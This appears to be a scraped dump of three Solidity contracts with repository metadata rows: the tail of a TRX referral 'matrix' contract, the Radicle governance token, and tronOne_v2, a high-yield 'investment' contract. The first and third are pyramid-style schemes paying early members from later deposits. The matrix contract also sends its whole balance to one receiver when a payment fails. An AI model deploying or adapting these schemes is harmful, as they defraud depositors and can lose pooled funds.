2 + uint8(users[users[referrerAddress].slopMatrix[level].firstLevelReferrals[0]].slopMatrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].slopMatrix[level].currentReferrer = users[referrerAddress].slopMatrix[level].firstLevelReferrals[0];
} else {
users[users[referrerAddress].slopMatrix[level].firstLevelReferrals[1]].slopMatrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].slopMatrix[level].firstLevelReferrals[1], 2,
level, uint8(users[users[referrerAddress].slopMatrix[level].firstLevelReferrals[1]].slopMatrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress, referrerAddress, 2, level,
4 + uint8(users[users[referrerAddress].slopMatrix[level].firstLevelReferrals[1]].slopMatrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].slopMatrix[level].currentReferrer = users[referrerAddress].slopMatrix[level].firstLevelReferrals[1];
}
}
function updateSlopReferrerSecondLevel(address userAddress, address referrerAddress, uint8 level) private {
if (users[referrerAddress].slopMatrix[level].secondLevelReferrals.length < 4) {
return sendTRXDividends(referrerAddress, userAddress, 2, level);
}
address[] memory SlopRefs = users[users[referrerAddress].slopMatrix[level].currentReferrer].slopMatrix[level].firstLevelReferrals;
if (SlopRefs.length == 2) {
if (SlopRefs[0] == referrerAddress || SlopRefs[1] == referrerAddress) {
users[users[referrerAddress].slopMatrix[level].currentReferrer].slopMatrix[level].closedPart = referrerAddress;
} else if (SlopRefs.length == 1) {
if (SlopRefs[0] == referrerAddress) {
users[users[referrerAddress].slopMatrix[level].currentReferrer].slopMatrix[level].closedPart = referrerAddress;
}
}
}
users[referrerAddress].slopMatrix[level].firstLevelReferrals = new address[](0);
users[referrerAddress].slopMatrix[level].secondLevelReferrals = new address[](0);
users[referrerAddress].slopMatrix[level].closedPart = address(0);
if (!users[referrerAddress].activeSlopLevels[level + 1] && level != LAST_LEVEL) {
users[referrerAddress].slopMatrix[level].blocked = true;
}
users[referrerAddress].slopMatrix[level].reinvestCount++;
if (referrerAddress != owner) {
address freeReferrerAddress = findFreeSlopReferrer(referrerAddress, level);
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 2, level);
updateSlopReferrer(referrerAddress, freeReferrerAddress, level);
} else {
emit Reinvest(owner, address(0), userAddress, 2, level);
sendTRXDividends(owner, userAddress, 2, level);
}
}
function findFreeJumpReferrer(address userAddress, uint8 level) public view returns (address){
while (true) {
if (users[users[userAddress].referrer].activeJumpLevels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function findFreeSlopReferrer(address userAddress, uint8 level) public view returns (address){
while (true) {
if (users[users[userAddress].referrer].activeSlopLevels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function usersActiveJumpLevels(address userAddress, uint8 level) public view returns (bool){
return users[userAddress].activeJumpLevels[level];
}
function usersActiveSlopLevels(address userAddress, uint8 level) public view returns (bool){
return users[userAddress].activeSlopLevels[level];
}
function usersJumpMatrix(address userAddress, uint8 level) public view returns (address, address[] memory, bool){
return (users[userAddress].jumpMatrix[level].currentReferrer, users[userAddress].jumpMatrix[level].referrals, users[userAddress].jumpMatrix[level].blocked);
}
function usersSlopMatrix(address userAddress, uint8 level) public view returns (address, address[] memory, address[] memory, bool, address){
return (users[userAddress].slopMatrix[level].currentReferrer,
users[userAddress].slopMatrix[level].firstLevelReferrals,
users[userAddress].slopMatrix[level].secondLevelReferrals,
users[userAddress].slopMatrix[level].blocked,
users[userAddress].slopMatrix[level].closedPart);
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
function findTrxReceiver(address userAddress, address _from, uint8 matrix, uint8 level) private returns (address, bool) {
address receiver = userAddress;
bool isExtraDividends;
if (matrix == 1) {
while (true) {
if (users[receiver].jumpMatrix[level].blocked) {
emit MissedTrxReceive(receiver, _from, 1, level);
isExtraDividends = true;
receiver = users[receiver].jumpMatrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
} else {
while (true) {
if (users[receiver].slopMatrix[level].blocked) {
emit MissedTrxReceive(receiver, _from, 2, level);
isExtraDividends = true;
receiver = users[receiver].slopMatrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
}
}
function sendTRXDividends(address userAddress, address _from, uint8 matrix, uint8 level) private {
if (msg.sender != deploy) {
(address receiver, bool isExtraDividends) = findTrxReceiver(userAddress, _from, matrix, level);
if (!address(uint160(receiver)).send(levelPrice[level])) {
return address(uint160(receiver)).transfer(address(this).balance);
}
if (isExtraDividends) {
emit SentExtraTrxDividends(_from, receiver, matrix, level);
}
}
}
function bytesToAddress(bytes memory bys) private pure returns (address addr){
assembly {
addr := mload(add(bys, 20))
}
}
function GetJumpListInfo(address user) public view returns(bool[]memory,bool[]memory){
bool [] memory jumpLevelState =new bool [](LAST_LEVEL);
bool [] memory blockArr=new bool [](LAST_LEVEL);
for (uint8 i = 1; i <= LAST_LEVEL; i++){
jumpLevelState[i-1]=users[user].activeJumpLevels[i];
blockArr[i-1]=users[user].jumpMatrix[i].blocked;
}
return(jumpLevelState, blockArr);
}
function GetSlopListInfo(address user) public view returns(bool[]memory,bool[]memory){
bool [] memory slopLevelState =new bool [](LAST_LEVEL);
bool [] memory blockArr=new bool [](LAST_LEVEL);
for (uint8 i = 1; i <= LAST_LEVEL; i++){
slopLevelState[i-1]=users[user].activeSlopLevels[i];
blockArr[i-1]=users[user].slopMatrix[i].blocked;
}
return(slopLevelState, blockArr);
}
}
| 301,979 | 11,771 |
1b26c76811c123856c587b5b75f1a383585ff6892904c6e4dcea26055cf724af
| 18,352 |
.sol
|
Solidity
| false |
286750628
|
radicle-dev/radicle-contracts
|
3d333e591bba079fdd76de9905e286ee273e95e8
|
contracts/Governance/RadicleToken.sol
| 3,588 | 14,416 |
// SPDX-License-Identifier: GPL-3.0-only
// Copyright 2020 Compound Labs, Inc.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
//
// 1. Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
// 2. Redistributions in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
// 3. Neither the name of the copyright holder nor the names of its
// contributors may be used to endorse or promote products derived from this
// software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
pragma solidity ^0.7.5;
pragma experimental ABIEncoderV2;
contract RadicleToken {
/// @notice EIP-20 token name for this token
string public constant NAME = "Radicle";
/// @notice EIP-20 token symbol for this token
string public constant SYMBOL = "RAD";
/// @notice EIP-20 token decimals for this token
uint8 public constant DECIMALS = 18;
/// @notice Total number of tokens in circulation
uint256 public totalSupply = 100000000e18; // 100 million tokens
// Allowance amounts on behalf of others
mapping(address => mapping(address => uint96)) internal allowances;
// Official record of token balances for each account
mapping(address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping(address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping(address => mapping(uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping(address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH =
keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH =
keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice The EIP-712 typehash for EIP-2612 permit
bytes32 public constant PERMIT_TYPEHASH =
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/// @notice A record of states for signing / validating signatures
mapping(address => uint256) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator,
address indexed fromDelegate,
address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate,
uint256 previousBalance,
uint256 newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
constructor(address account) {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
function name() public pure returns (string memory) {
return NAME;
}
function symbol() public pure returns (string memory) {
return SYMBOL;
}
function decimals() public pure returns (uint8) {
return DECIMALS;
}
// solhint-disable func-name-mixedcase
function DOMAIN_SEPARATOR() public view returns (bytes32) {
return
keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(NAME)), getChainId(), address(this)));
}
function allowance(address account, address spender) external view returns (uint256) {
return allowances[account][spender];
}
function approve(address spender, uint256 rawAmount) external returns (bool) {
_approve(msg.sender, spender, rawAmount);
return true;
}
function _approve(address owner,
address spender,
uint256 rawAmount) internal {
uint96 amount;
if (rawAmount == uint256(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "RadicleToken::approve: amount exceeds 96 bits");
}
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function balanceOf(address account) external view returns (uint256) {
return balances[account];
}
function transfer(address dst, uint256 rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "RadicleToken::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
function transferFrom(address src,
address dst,
uint256 rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "RadicleToken::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance =
sub96(spenderAllowance,
amount,
"RadicleToken::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
function burnFrom(address account, uint256 rawAmount) public {
require(account != address(0), "RadicleToken::burnFrom: cannot burn from the zero address");
uint96 amount = safe96(rawAmount, "RadicleToken::burnFrom: amount exceeds 96 bits");
address spender = msg.sender;
uint96 spenderAllowance = allowances[account][spender];
if (spender != account && spenderAllowance != uint96(-1)) {
uint96 newAllowance =
sub96(spenderAllowance,
amount,
"RadicleToken::burnFrom: burn amount exceeds allowance");
allowances[account][spender] = newAllowance;
emit Approval(account, spender, newAllowance);
}
balances[account] = sub96(balances[account],
amount,
"RadicleToken::burnFrom: burn amount exceeds balance");
emit Transfer(account, address(0), amount);
_moveDelegates(delegates[account], address(0), amount);
totalSupply -= rawAmount;
}
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s) public {
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR(), structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "RadicleToken::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "RadicleToken::delegateBySig: invalid nonce");
require(block.timestamp <= expiry, "RadicleToken::delegateBySig: signature expired");
_delegate(signatory, delegatee);
}
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) public {
bytes32 structHash =
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR(), structHash));
require(owner == ecrecover(digest, v, r, s), "RadicleToken::permit: invalid signature");
require(owner != address(0), "RadicleToken::permit: invalid signature");
require(block.timestamp <= deadline, "RadicleToken::permit: signature expired");
_approve(owner, spender, value);
}
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint256 blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "RadicleToken::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src,
address dst,
uint96 amount) internal {
require(src != address(0),
"RadicleToken::_transferTokens: cannot transfer from the zero address");
require(dst != address(0),
"RadicleToken::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src],
amount,
"RadicleToken::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst],
amount,
"RadicleToken::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep,
address dstRep,
uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew =
sub96(srcRepOld, amount, "RadicleToken::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew =
add96(dstRepOld, amount, "RadicleToken::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint96 oldVotes,
uint96 newVotes) internal {
uint32 blockNumber =
safe32(block.number, "RadicleToken::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint256 n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a,
uint96 b,
string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a,
uint96 b,
string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint256) {
uint256 chainId;
// solhint-disable no-inline-assembly
assembly {
chainId := chainid()
}
return chainId;
}
}
| 237,151 | 11,772 |
b0af481796194750c27879d3984f984d109e16dcefaf7c55cc956397214667bd
| 17,970 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TE/TESpGoMgW8a3Ae7XPwkXdPsem8jL1uGv8V_tronOne_v2.sol
| 4,881 | 17,215 |
//SourceUnit: TronOnev2.sol
pragma solidity 0.5.10;
contract tronOne_v2 {
using SafeMath for uint;
uint8 constant private MAX_PROFIT = 2; // 200%
uint8 constant private DEPOSITS_MAX_COUNT = 100; // 100 investment per address
uint32 constant private INVEST_MIN_AMOUNT = 10E7; // 100 trx min
uint16 constant private OWNER_FEE = 2500; // 2.5 percent
uint16 constant private MARKETING_FEE = 5000; // 5 percent
uint16 constant private DEVELOPER_FEE = 2500; // 2.5 percent
uint16 constant private BASIC_ROI = 1000; // basic daily 1%
uint16 constant private REINVEST_BONUS_STEP = 100; // 0.1%
uint16 constant private REINVEST_BONUS_MAX = 1000; // 1%
uint8 constant private HOLD_BONUS_STEP = 100; // 0.1 daily
uint16 constant private HOLD_BONUS_MAX = 1000; // 1 % max
uint8 constant private CONTRACT_BONUS_STEP = 100; // 0.1 daily roi every 500k
uint16 constant private CONTRACT_BONUS_MAX = 1000; // 1% max
uint32 constant private DIVIDER = 100000; // 100%
uint64 constant private CONTRACT_BALANCE_STEP = 5E11; // 500 000 trx
uint64 constant private TIME_STEP = 1 days;
uint64 constant private CONTRACT_PRE_LAUNCH_DAYS = 262800; // Jan 2 2021
address public tokenAddress;
address payable private Owner;
address payable private Developer;
address payable private Marketing;
uint16[] private REFERRALS = [5000,3000,2000]; //5% 3% 2%
uint16[] private REFERRALS_RATIO = [100,70,50]; //1 0.7 0.5
string[] private LEADER_TITLE;
uint[3][] private LEADER_BONUS;
uint private totalInvested;
uint private totalReinvest;
uint private totalWithdrawn;
uint private totalUsers;
uint private CONTRACT_LAUNCH_DATE;
uint private CONTRACT_BONUS;
uint public totalx;
struct Deposit {
uint amount;
uint withdrawn;
uint64 date;
}
struct User {
Deposit[] deposits;
uint32 checkPoint;
uint32 holdPoint;
address referrer;
uint16 depositCnt;
uint16 reinvestBonus;
uint16 reinvestCnt;
int8 leaderId;
uint leaderTurnover;
uint64[3] refs;
uint totalInvested;
uint totalReinvest;
uint totalWithdrawn;
uint totalReferrals;
bool xStatus;
}
mapping (address => User) internal users;
event NewDeposit(address indexed user, uint amount);
event Reinvest(address indexed user, uint amount);
event Withdrawn(address indexed user, uint amount);
event x(address indexed user, uint amount);
event Newbie(address user);
constructor(address payable developerAddr, address payable ownerAddr, address payable marketingAddr, address tokenAddr) public {
require(!isContract(developerAddr) && !isContract(ownerAddr));
Owner = ownerAddr;
Developer = developerAddr;
Marketing = marketingAddr;
tokenAddress = tokenAddr;
CONTRACT_LAUNCH_DATE = block.timestamp + CONTRACT_PRE_LAUNCH_DAYS;
CONTRACT_BONUS = 0;
_init();
}
function _init() private {
LEADER_BONUS.push([0,0,0]); //struc reward bonus
LEADER_BONUS.push([5E10,1E9,500]); //50 000 1000 0.5%
LEADER_BONUS.push([1E11,2E9,700]); //100 000 2000 0.7%
LEADER_BONUS.push([5E11,1E10,1000]); //500 000 10 000 1%
LEADER_TITLE.push('N/A');
LEADER_TITLE.push('TronOne Top3');
LEADER_TITLE.push('TronOne Top2');
LEADER_TITLE.push('TronOne Top1');
}
function setReferrer(address _addr, address _referrer, uint256 _amount) private {
if(users[_addr].referrer == address(0) && users[_referrer].depositCnt>0 && _addr != Owner && _referrer != address(0)) {
users[_addr].referrer = _referrer;
}
if(users[_addr].referrer != address(0)){
address ref = users[_addr].referrer;
uint refAmount;
for(uint8 i = 0; i < REFERRALS.length; i++) {
refAmount = _amount.mul(REFERRALS[i]).div(DIVIDER);
address(uint160(ref)).transfer(refAmount);
users[ref].totalReferrals = users[ref].totalReferrals.add(refAmount);
users[ref].refs[i]++;
updateLeaderBonus(ref,_amount,i);
ref = users[ref].referrer;
if(ref == address(0)) break;
}
}
}
function invest(address referrer) external payable {
require(block.timestamp >= CONTRACT_LAUNCH_DATE, "Deposits Are Not Available Yet");
require(msg.value >= INVEST_MIN_AMOUNT, "Minimum Invest Amount 100 TRX");
User storage user = users[msg.sender];
require(user.deposits.length < DEPOSITS_MAX_COUNT, "Maximum 1000 Deposits From a Unique Address");
uint _amount = msg.value;
setReferrer(msg.sender,referrer,_amount);
Owner.transfer(_amount.mul(OWNER_FEE).div(DIVIDER));
Developer.transfer(_amount.mul(DEVELOPER_FEE).div(DIVIDER));
Marketing.transfer(_amount.mul(MARKETING_FEE).div(DIVIDER));
if (user.deposits.length == 0) {
totalUsers++;
user.checkPoint = uint32(block.timestamp);
user.holdPoint = uint32(block.timestamp);
user.reinvestBonus=0;
user.leaderTurnover=0;
user.leaderId=0;
user.xStatus = false;
emit Newbie(msg.sender);
}
else{
// Reset Hold Bonus Of Inactive User
if(!isActive(msg.sender)){
user.checkPoint = uint32(block.timestamp);
}
}
user.deposits.push(Deposit(uint(_amount), 0, uint32(block.timestamp)));
user.totalInvested = user.totalInvested.add(_amount);
user.depositCnt++;
totalInvested = totalInvested.add(_amount);
updateContractBonus();
emit NewDeposit(msg.sender, _amount);
}
function reinvest() external {
User storage user = users[msg.sender];
require(user.deposits.length > 0, "at least one deposit");
uint available = getTotalDividends(msg.sender);
require(available >= (user.totalInvested.add(user.totalReinvest)).div(2),"Available dividens is less than 2% of total invested");
require(user.deposits.length < DEPOSITS_MAX_COUNT, "Maximum 100 Deposits From a Unique Address");
uint256 val;
uint256 reinvestAmount;
for(uint i = 0; i < user.deposits.length; i++) {
val = getDepositDividends(msg.sender,i);
user.deposits[i].withdrawn = user.deposits[i].withdrawn.add(val);
reinvestAmount = reinvestAmount.add(val);
}
user.deposits.push(Deposit(uint(reinvestAmount), 0, uint32(block.timestamp)));
user.reinvestCnt++;
if(user.reinvestBonus < REINVEST_BONUS_MAX){
user.reinvestBonus = uint16(uint(user.reinvestCnt).mul(REINVEST_BONUS_STEP));
}
user.totalReinvest = user.totalReinvest.add(reinvestAmount);
user.depositCnt++;
totalReinvest = totalReinvest.add(reinvestAmount);
user.checkPoint = uint32(block.timestamp);
emit Reinvest(msg.sender, reinvestAmount);
}
function withdraw() external {
User storage user = users[msg.sender];
uint256 val;
uint256 totalAmount;
for(uint i = 0; i < user.deposits.length; i++) {
val = getDepositDividends(msg.sender,i);
user.deposits[i].withdrawn = user.deposits[i].withdrawn.add(val);
totalAmount = totalAmount.add(val);
}
require(totalAmount > 0, "User has no dividends");
uint contractBalance = getContractBalance();
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkPoint = uint32(block.timestamp);
user.holdPoint = uint32(block.timestamp);
user.totalWithdrawn = user.totalWithdrawn.add(totalAmount);
msg.sender.transfer(totalAmount);
totalWithdrawn = totalWithdrawn.add(totalAmount);
emit Withdrawn(msg.sender, totalAmount);
}
function getTotalDividends(address addr) public view returns (uint) {
User storage user = users[addr];
uint dividends;
uint totalAmount;
for(uint i = 0; i < user.deposits.length; i++) {
dividends = getDepositDividends(addr,i);
totalAmount = totalAmount.add(dividends);
}
return totalAmount;
}
function getDepositDividends(address addr, uint i) public view returns (uint) {
User storage user = users[addr];
uint userBonus = getUserBonus(addr);
uint dividends;
if(user.deposits[i].withdrawn < user.deposits[i].amount.mul(MAX_PROFIT)) {
if (user.deposits[i].date > user.checkPoint) {
dividends = (user.deposits[i].amount.mul(userBonus).div(DIVIDER))
.mul(block.timestamp.sub(user.deposits[i].date))
.div(TIME_STEP);
} else {
dividends = (user.deposits[i].amount.mul(userBonus).div(DIVIDER))
.mul(block.timestamp.sub(user.checkPoint))
.div(TIME_STEP);
}
if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(MAX_PROFIT)) {
dividends = (user.deposits[i].amount.mul(MAX_PROFIT)).sub(user.deposits[i].withdrawn);
}
}
else{
dividends = 0;
}
return dividends;
}
function getUserBonus(address addr) public view returns (uint) {
User storage user = users[addr];
uint Bonus = BASIC_ROI;
if (isActive(addr)) {
uint holdBonus = getHoldBonus(addr);
Bonus = uint(BASIC_ROI).add(holdBonus).add(user.reinvestBonus).add(CONTRACT_BONUS);
if(user.leaderId >= 0){
Bonus = Bonus.add(LEADER_BONUS[uint8(user.leaderId)][2]);
}
}
return Bonus;
}
function getHoldBonus(address addr) public view returns (uint) {
User storage user = users[addr];
if (isActive(addr)) {
uint holdTime = (block.timestamp.sub(uint(user.holdPoint))).div(TIME_STEP).mul(HOLD_BONUS_STEP);
if (holdTime > HOLD_BONUS_MAX) {
holdTime = HOLD_BONUS_MAX;
}
return holdTime;
} else {
return 0;
}
}
function updateContractBonus() private {
uint contractBalance = getContractBalance();
uint contractBonus;
if(CONTRACT_BONUS < CONTRACT_BONUS_MAX){
contractBonus = contractBalance.div(CONTRACT_BALANCE_STEP).mul(CONTRACT_BONUS_STEP);
if(contractBonus > CONTRACT_BONUS)
{
if(contractBonus >= CONTRACT_BONUS_MAX)
{
CONTRACT_BONUS = CONTRACT_BONUS_MAX;
}
else{
CONTRACT_BONUS =contractBonus;
}
}
}
}
function updateLeaderBonus(address addr , uint _amount, uint8 i) private {
uint amount = _amount.mul(REFERRALS_RATIO[i]).div(100);
users[addr].leaderTurnover += amount;
int8 leaderId=0;
for(uint8 j = 0; j < LEADER_BONUS.length; j++) {
if(users[addr].leaderTurnover >= LEADER_BONUS[j][0]){
leaderId = int8(j);
}
else break;
}
if(users[addr].leaderId < leaderId){
for(int8 k = (users[addr].leaderId+1); k <= leaderId; k++){
address(uint160(addr)).transfer(LEADER_BONUS[uint8(k)][1]);
}
users[addr].leaderId = leaderId;
}
}
function getContractBalance() public view returns (uint) {
return address(this).balance;
}
function getUserDeposits(address addr) public view returns (uint[] memory, uint[] memory, uint[] memory) {
User storage user = users[addr];
uint cnt = user.deposits.length;
uint[] memory amount = new uint[](cnt);
uint[] memory withdrawn = new uint[](cnt);
uint[] memory date = new uint[](cnt);
for (uint i = 0; i < cnt; i++) {
amount[i] = uint(user.deposits[i].amount);
withdrawn[i] = uint(user.deposits[i].withdrawn);
date[i] = uint(user.deposits[i].date);
}
return (amount, withdrawn, date);
}
function getUserInfo(address addr) public view returns (uint, uint, uint, uint, uint, uint, uint, uint, uint) {
User storage user = users[addr];
return (uint(user.totalInvested),
uint(user.totalReinvest),
uint(user.depositCnt),
uint(user.totalWithdrawn),
getTotalDividends(addr),
uint(user.totalReferrals),
uint(user.refs[0]),
uint(user.refs[1]),
uint(user.refs[2]));
}
function getUserInfoBonus(address addr) public view returns (uint, uint, uint, uint,uint, string memory) {
User storage user = users[addr];
string memory title = "";
uint leaderBonus = 0;
if(user.leaderId >= 0 && user.leaderTurnover >= LEADER_BONUS[0][0]){
title = LEADER_TITLE[uint(user.leaderId)];
leaderBonus = LEADER_BONUS[uint(user.leaderId)][2];
}
return (uint(user.reinvestCnt),
uint(user.leaderTurnover),
uint(user.reinvestBonus),
uint(getHoldBonus(addr)),
uint(leaderBonus),
title);
}
function getUserInfoPoint(address addr) public view returns (uint, uint, address) {
User storage user = users[addr];
return (uint(user.holdPoint),
uint(user.checkPoint),
user.referrer);
}
function getContractInfo() public view returns (uint,uint, uint, uint, uint, uint, uint) {
return (totalInvested,totalReinvest,totalWithdrawn,totalUsers,CONTRACT_LAUNCH_DATE, address(this).balance, CONTRACT_BONUS);
}
function withdrawx() external {
User storage user = users[msg.sender];
uint xAmount=0;
if(user.deposits.length > 0){
uint firstDeposit = user.deposits[0].amount;
token oldContract = token(tokenAddress);
(,uint256 invested, uint256 withdrawn,,) = oldContract.userInfo(msg.sender);
uint lostAmount = invested.sub(withdrawn);
if(firstDeposit > 0 && lostAmount > 0){
xAmount = firstDeposit.div(10);
if(xAmount > lostAmount){
xAmount = lostAmount;
}
}
}
require(xAmount > 0 ,"User has no x");
require(user.xStatus == false ,"x has paid");
msg.sender.transfer(xAmount);
user.xStatus=true;
totalx = totalx.add(xAmount);
emit x(msg.sender, xAmount);
}
function getxStats(address addr) public view returns (uint,uint,uint,uint,uint,bool) {
User storage user = users[addr];
uint firstDeposit = 0;
uint lostAmount = 0;
uint xAmount = 0;
if(user.deposits.length > 0){
firstDeposit = user.deposits[0].amount;
}
token oldContract = token(tokenAddress);
(, uint256 invested, uint256 withdrawn, ,) = oldContract.userInfo(addr);
lostAmount = invested.sub(withdrawn);
if(firstDeposit > 0 && lostAmount > 0){
xAmount = firstDeposit.div(10);
if(xAmount > lostAmount){
xAmount = lostAmount;
}
}
return (firstDeposit,invested,withdrawn,lostAmount,xAmount,user.xStatus);
}
function isActive(address addr) public view returns (bool) {
User storage user = users[addr];
return (user.deposits.length > 0) && user.deposits[user.deposits.length-1].withdrawn < user.deposits[user.deposits.length-1].amount.mul(MAX_PROFIT);
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
// UserInfo Interface - Old token
contract token{
function userInfo(address _addr) view external returns(uint256 for_withdraw, uint256 total_invested, uint256 total_withdrawn, uint256 total_match_bonus, uint256[3] memory structure);
